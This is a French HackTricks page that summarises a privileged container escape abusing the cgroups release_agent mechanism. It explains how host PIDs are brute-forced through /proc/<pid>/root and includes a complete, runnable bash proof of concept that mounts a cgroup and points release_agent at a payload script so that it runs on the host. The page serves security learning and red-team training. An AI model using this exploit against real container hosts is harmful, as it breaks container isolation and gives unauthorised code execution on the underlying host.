tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Pour plus de détails, consultez le blog à partir de https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Ceci est juste un résumé :

La technique décrit une méthode pour exécuter du code hôte depuis un conteneur, surmontant les défis posés par les configurations de pilotes de stockage qui obscurcissent le chemin du système de fichiers du conteneur sur l'hôte, comme Kata Containers ou des paramètres spécifiques de devicemapper.

Étapes clés :

  1. Localisation des identifiants de processus (PIDs) : En utilisant le lien symbolique /proc/<pid>/root dans le pseudo-système de fichiers Linux, tout fichier à l'intérieur du conteneur peut être accessible par rapport au système de fichiers de l'hôte. Cela contourne la nécessité de connaître le chemin du système de fichiers du conteneur sur l'hôte.
  2. Bash PID : Une approche de force brute est employée pour rechercher à travers les PIDs sur l'hôte. Cela se fait en vérifiant séquentiellement la présence d'un fichier spécifique à /proc/<pid>/root/<file>. Lorsque le fichier est trouvé, cela indique que le PID correspondant appartient à un processus s'exécutant à l'intérieur du conteneur cible.
  3. Déclenchement de l'exécution : Le chemin PID deviné est écrit dans le fichier cgroups release_agent. Cette action déclenche l'exécution du release_agent. Le succès de cette étape est confirmé en vérifiant la création d'un fichier de sortie.

Processus d'exploitation

Le processus d'exploitation implique un ensemble d'actions plus détaillé, visant à exécuter un payload sur l'hôte en devinant le bon PID d'un processus s'exécutant à l'intérieur du conteneur. Voici comment cela se déroule :

  1. Initialiser l'environnement : Un script de payload (payload.sh) est préparé sur l'hôte, et un répertoire unique est créé pour la manipulation des cgroups.
  2. Préparer le payload : Le script de payload, qui contient les commandes à exécuter sur l'hôte, est écrit et rendu exécutable.
  3. Configurer le cgroup : Le cgroup est monté et configuré. Le drapeau notify_on_release est défini pour s'assurer que le payload s'exécute lorsque le cgroup est libéré.
  4. Force brute PID : Une boucle itère à travers les PIDs potentiels, écrivant chaque PID deviné dans le fichier release_agent. Cela définit effectivement le script de payload comme le release_agent.
  5. Déclencher et vérifier l'exécution : Pour chaque PID, le cgroup.procs du cgroup est écrit, déclenchant l'exécution du release_agent si le PID est correct. La boucle continue jusqu'à ce que la sortie du script de payload soit trouvée, indiquant une exécution réussie.

PoC du post de blog :

bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks